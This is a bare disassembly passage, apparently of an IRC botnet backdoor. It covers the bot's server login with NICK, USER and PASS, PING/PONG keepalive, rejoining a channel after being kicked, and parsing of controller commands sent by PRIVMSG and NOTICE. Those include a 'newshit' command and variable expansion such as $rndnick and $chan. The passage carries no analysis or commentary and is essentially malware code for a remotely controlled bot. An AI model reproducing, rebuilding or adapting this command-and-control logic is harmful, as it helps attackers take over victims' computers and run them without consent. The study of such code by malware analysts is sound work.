		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40A1DF:				; CODE XREF: sub_40A1C1+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40A1DF
		cmp	byte_4620C0, bl
		jz	short loc_40A206
		push	offset byte_4620C0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40F9AB
		add	esp, 0Ch


loc_40A206:				; CODE XREF: sub_40A1C1+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_4110D8
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_411EEE
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A270
		push	[ebp+arg_0]
		call	dword_433B60	; closesocket
		push	1388h
		call	dword_41D05C	; Sleep


loc_40A269:				; CODE XREF: sub_40A1C1+D9j
					; sub_40A1C1+153j
		xor	eax, eax


loc_40A26B:				; CODE XREF: sub_40A1C1+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A270:				; CODE XREF: sub_40A1C1+92j
					; sub_40A1C1+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_433AE0	; recv
		test	eax, eax
		jle	short loc_40A269
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40790F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40A270
		lea	edi, [ebp+var_A10]


loc_40A2C1:				; CODE XREF: sub_40A1C1+165j
		push	1
		pop	esi


loc_40A2C4:				; CODE XREF: sub_40A1C1+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40A339
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40A307
		push	7D0h
		call	dword_41D05C	; Sleep
		jmp	short loc_40A2C4
; ---------------------------------------------------------------------------


loc_40A307:				; CODE XREF: sub_40A1C1+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40A331
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40A32D
		cmp	esi, 0FFFFFFFFh
		jz	loc_40A269
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40A2C1
		jmp	loc_40A270
; ---------------------------------------------------------------------------


loc_40A32D:				; CODE XREF: sub_40A1C1+14Ej
		push	1
		jmp	short loc_40A333
; ---------------------------------------------------------------------------


loc_40A331:				; CODE XREF: sub_40A1C1+149j
		push	2


loc_40A333:				; CODE XREF: sub_40A1C1+16Ej
		pop	eax
		jmp	loc_40A26B
sub_40A1C1	endp

; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A1C1+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_412770
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_411F70
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413710
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40A7B4
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_411F70
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413710
		lea	eax, [ebp-0F9Ch]
		push	offset asc_42FCC8 ; " :"
		push	eax
		call	sub_4124C0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_413710
		mov	esi, offset asc_421F4C ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_413668
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A4h], 1Fh


loc_40A40C:				; CODE XREF: .nsp0:0040A420j
		push	esi
		push	ebx
		call	sub_413668
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A4h]
		pop	ecx
		jnz	short loc_40A40C
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40A7B4
		cmp	[ebp-90h], ebx
		jz	loc_40A7B4
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40A45A:				; CODE XREF: .nsp0:0040A48Cj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40A486
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40A48E
		cmp	[eax+2], bl
		jnz	short loc_40A48E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40A486:				; CODE XREF: .nsp0:0040A45Ej
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40A45A


loc_40A48E:				; CODE XREF: .nsp0:0040A463j
					; .nsp0:0040A468j
		cmp	[ebp-9A1h], bl
		jz	short loc_40A499
		mov	[ebp-8], edi


loc_40A499:				; CODE XREF: .nsp0:0040A494j
		cmp	[ebp-9A6h], bl
		jz	short loc_40A4A7
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40A4A7:				; CODE XREF: .nsp0:0040A49Fj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40A4E1
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_413710
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_413710
		lea	eax, [ebp-0C4h]
		push	offset dword_428DB8
		push	eax
		call	sub_413668
		add	esp, 20h


loc_40A4E1:				; CODE XREF: .nsp0:0040A4AAj
		push	esi
		push	offset aPing	; "PING"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A532
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40A5D6
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		add	esp, 10h
		jmp	loc_40A5D6
; ---------------------------------------------------------------------------


loc_40A532:				; CODE XREF: .nsp0:0040A4F0j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F965
		push	esi
		push	offset a005	; "005"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F965
		push	esi
		push	offset a302	; "302"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A59D
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A5D6
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_413710
		add	esp, 0Ch
		jmp	short loc_40A5D6
; ---------------------------------------------------------------------------


loc_40A59D:				; CODE XREF: .nsp0:0040A571j
		push	esi
		push	offset a433	; "433"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A5DD
		push	ebx
		push	dword_4620BC
		push	dword_425B74
		push	dword ptr [ebp+18h]
		call	sub_4110D8
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		add	esp, 1Ch


loc_40A5D6:				; CODE XREF: .nsp0:0040A511j
					; .nsp0:0040A52Dj ...
		mov	eax, edi
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: .nsp0:0040A5ACj
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A4h], 2
		mov	edi, 80h


loc_40A5EF:				; CODE XREF: .nsp0:0040A614j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A60C
		mov	dword ptr [ebp-0A8h], 1


loc_40A60C:				; CODE XREF: .nsp0:0040A600j
		add	esi, edi
		dec	dword ptr [ebp-0A4h]
		jnz	short loc_40A5EF
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A703
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40A63B:				; CODE XREF: .nsp0:0040A6C8j
		cmp	[esi], bl
		jz	loc_40A6C3
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_413710
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A6C3
		cmp	[ebp-88h], ebx
		jz	short loc_40A6C3
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A6C3
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42FC54
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		add	esp, 20h


loc_40A6C3:				; CODE XREF: .nsp0:0040A63Dj
					; .nsp0:0040A65Dj ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40A63B
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A7B4
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40A6F6:				; CODE XREF: .nsp0:0040A935j
					; .nsp0:0040AC01j
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		jmp	loc_40F21B
; ---------------------------------------------------------------------------


loc_40A703:				; CODE XREF: .nsp0:0040A62Bj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A849
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40A72C:				; CODE XREF: .nsp0:0040A77Ej
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A779
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_414140
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40A779
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_412600
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_412610
		add	esp, 10h
		mov	edi, 80h


loc_40A779:				; CODE XREF: .nsp0:0040A73Dj
					; .nsp0:0040A754j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40A72C
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	short loc_40A7B4
		cmp	[ebp+2Ch], ebx
		jz	short loc_40A7B4
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A7BC
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_413710
		add	esp, 0Ch


loc_40A7B4:				; CODE XREF: .nsp0:0040A394j
					; .nsp0:0040A42Aj ...
		push	1


loc_40A7B6:				; CODE XREF: .nsp0:0040F4DCj
		pop	eax


loc_40A7B7:				; CODE XREF: .nsp0:0040A5D8j
					; .nsp0:0040C0B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: .nsp0:0040A7A2j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A7C1:				; CODE XREF: .nsp0:0040A7E2j
		cmp	[edi], bl
		jz	short loc_40A7D8
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A7E6


loc_40A7D8:				; CODE XREF: .nsp0:0040A7C3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A7C1
		jmp	short loc_40A7B4
; ---------------------------------------------------------------------------


loc_40A7E6:				; CODE XREF: .nsp0:0040A7D6j
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_414140
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_40A7B4
		push	eax
		call	sub_4126F0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_4126F0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40A7B4
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 24h
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40A849:				; CODE XREF: .nsp0:0040A712j
		push	esi
		push	offset aPart	; "PART"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A86B
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A892


loc_40A86B:				; CODE XREF: .nsp0:0040A858j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A870:				; CODE XREF: .nsp0:0040A890j
		cmp	[edi], bl
		jz	short loc_40A886
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A8D9


loc_40A886:				; CODE XREF: .nsp0:0040A872j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A870


loc_40A892:				; CODE XREF: .nsp0:0040A869j
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A93A
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8C9
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40A8C9:				; CODE XREF: .nsp0:0040A8BEj
		push	dword ptr [ebp-84h]
		push	offset dword_42FBF4
		jmp	loc_40F959
; ---------------------------------------------------------------------------


loc_40A8D9:				; CODE XREF: .nsp0:0040A884j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42FBC0
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_412310
		add	esp, 18h
		test	eax, eax
		jnz	loc_40A7B4
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40A6F6
; ---------------------------------------------------------------------------


loc_40A93A:				; CODE XREF: .nsp0:0040A8A6j
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_412310
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40A98E
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A98E
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7D2
		cmp	dword_425B64, ebx
		jz	loc_40F7D2


loc_40A98E:				; CODE XREF: .nsp0:0040A954j
					; .nsp0:0040A966j
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA94
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA94
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40A9D5:				; CODE XREF: .nsp0:0040AB50j
					; .nsp0:0040ABD6j ...
		shl	esi, 2
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_425B6C
		mov	[ebp+14h], edi
		jnz	loc_40A7B4
		push	edi
		push	offset aNewshit	; "newshit"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F7DA
		push	edi
		push	offset dword_42FBA0
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F7DA
		cmp	[ebp-0A8h], ebx
		jnz	short loc_40AA48
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7D2


loc_40AA48:				; CODE XREF: .nsp0:0040AA2Cj
		cmp	[ebp+30h], ebx
		jnz	loc_40F7D2
		cmp	dword_428178, ebx
		mov	[ebp+10h], ebx
		jle	loc_40AD74
		mov	dword ptr [ebp+28h], offset dword_437ED8


loc_40AA67:				; CODE XREF: .nsp0:0040AA8Dj
		push	edi
		push	dword ptr [ebp+28h]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AC06
		inc	dword ptr [ebp+10h]
		add	dword ptr [ebp+28h], 0B8h
		mov	eax, [ebp+10h]
		cmp	eax, dword_428178
		jl	short loc_40AA67
		jmp	loc_40AD74
; ---------------------------------------------------------------------------


loc_40AA94:				; CODE XREF: .nsp0:0040A99Ej
					; .nsp0:0040A9B4j
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAAD
		mov	dword ptr [ebp-4], 1


loc_40AAAD:				; CODE XREF: .nsp0:0040AAA4j
		cmp	[ebp-8Ch], ebx
		jz	loc_40A7B4
		push	(offset	loc_420927+1)
		push	dword ptr [ebp-8Ch]
		call	sub_4124C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AAD4
		cmp	[ebp-4], ebx
		jz	short loc_40AAE0


loc_40AAD4:				; CODE XREF: .nsp0:0040AACDj
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40AAE0:				; CODE XREF: .nsp0:0040AAD2j
		cmp	[ebp-88h], ebx
		jz	loc_40A7B4
		inc	dword ptr [ebp-88h]
		jz	short loc_40AB2C
		cmp	[ebp+18h], ebx
		jz	short loc_40AB2C
		lea	eax, [ebp-564h]
		push	eax
		call	sub_4126F0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_4138A0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40AB32
; ---------------------------------------------------------------------------


loc_40AB2C:				; CODE XREF: .nsp0:0040AAF2j
					; .nsp0:0040AAF7j
		mov	esi, [ebp-0ACh]


loc_40AB32:				; CODE XREF: .nsp0:0040AB2Aj
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40A7B4
		push	edi
		push	offset dword_42FB94
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A9D5
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40ABC7
		mov	eax, dword_4620CC
		mov	eax, off_425C20[eax*4]
		cmp	[eax], bl
		jz	short loc_40ABC7
		push	eax
		push	ecx
		push	offset dword_42FB78
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		add	esp, 20h
		cmp	[ebp-0A8h], ebx
		jnz	loc_40A7B4
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1
		push	eax
		push	offset dword_461FD4
		jmp	loc_40F07B
; ---------------------------------------------------------------------------


loc_40ABC7:				; CODE XREF: .nsp0:0040AB5Fj
					; .nsp0:0040AB6Fj
		push	edi
		push	offset dword_42FB54
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A9D5
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40A9D5
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40A9D5
		push	eax
		push	ecx
		push	offset dword_42FB3C
		jmp	loc_40A6F6
; ---------------------------------------------------------------------------


loc_40AC06:				; CODE XREF: .nsp0:0040AA74j
		push	offset asc_42FCC8 ; " :"
		push	dword ptr [ebp+8]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40A7B4
		mov	edi, [ebp+10h]
		mov	cl, byte_425B6C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_425B6C
		mov	[eax+3], cl
		lea	ecx, dword_437EF0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_413710
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+10h], 0Fh
		mov	[ebp+28h], eax


loc_40AC5E:				; CODE XREF: .nsp0:0040AD06j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4124C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40ACCA
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jz	short loc_40ACCA
		lea	eax, dword_437ED8[edi]
		push	eax
		call	sub_4126F0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40ACFC
		mov	eax, [ebp+28h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40ACFC
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40787E
		add	esp, 0Ch
		jmp	short loc_40ACFC
; ---------------------------------------------------------------------------


loc_40ACCA:				; CODE XREF: .nsp0:0040AC86j
					; .nsp0:0040AC8Dj
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jnz	short loc_40ACFC
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_413710
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40787E
		add	esp, 18h


loc_40ACFC:				; CODE XREF: .nsp0:0040AC9Fj
					; .nsp0:0040ACB3j ...
		dec	dword ptr [ebp+10h]
		sub	dword ptr [ebp+28h], 4
		cmp	[ebp+10h], ebx
		jg	loc_40AC5E
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+10h], 10h
		mov	edi, eax


loc_40AD19:				; CODE XREF: .nsp0:0040AD65j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4124C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AD5C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40AD5C
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40787E
		add	esp, 0Ch


loc_40AD5C:				; CODE XREF: .nsp0:0040AD41j
					; .nsp0:0040AD47j
		dec	dword ptr [ebp+10h]
		sub	edi, 4
		cmp	[ebp+10h], ebx
		jg	short loc_40AD19
		mov	edi, [ebp+14h]
		mov	dword ptr [ebp-0C8h], 1


loc_40AD74:				; CODE XREF: .nsp0:0040AA5Aj
					; .nsp0:0040AA8Fj
		mov	al, [edi]
		cmp	al, byte_425B6C
		jz	short loc_40AD8A
		cmp	[ebp-0C8h], ebx
		jz	loc_40AF6F


loc_40AD8A:				; CODE XREF: .nsp0:0040AD7Cj
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40787E
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40787E
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40787E
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_4110D8
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40787E
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_40787E
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4124C0
		add	esp, 14h


loc_40ADFC:				; CODE XREF: .nsp0:0040AEE8j
		test	eax, eax
		jz	loc_40AEED
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4124C0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413710
		lea	eax, [ebp-0A0h]
		push	offset asc_42FAFC ; ")"
		push	eax
		call	sub_413668
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_40AE48
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_40AE5E


loc_40AE48:				; CODE XREF: .nsp0:0040AE3Dj
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_413710
		add	esp, 0Ch


loc_40AE5E:				; CODE XREF: .nsp0:0040AE46j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	short loc_40AE81
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41245F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40AE92
; ---------------------------------------------------------------------------


loc_40AE81:				; CODE XREF: .nsp0:0040AE6Dj
		call	sub_411F4A
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40AE92:				; CODE XREF: .nsp0:0040AE7Fj
		lea	eax, [ebp-0A0h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_4126F0
		mov	[ebp+10h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_411F70
		mov	eax, [ebp+10h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413710
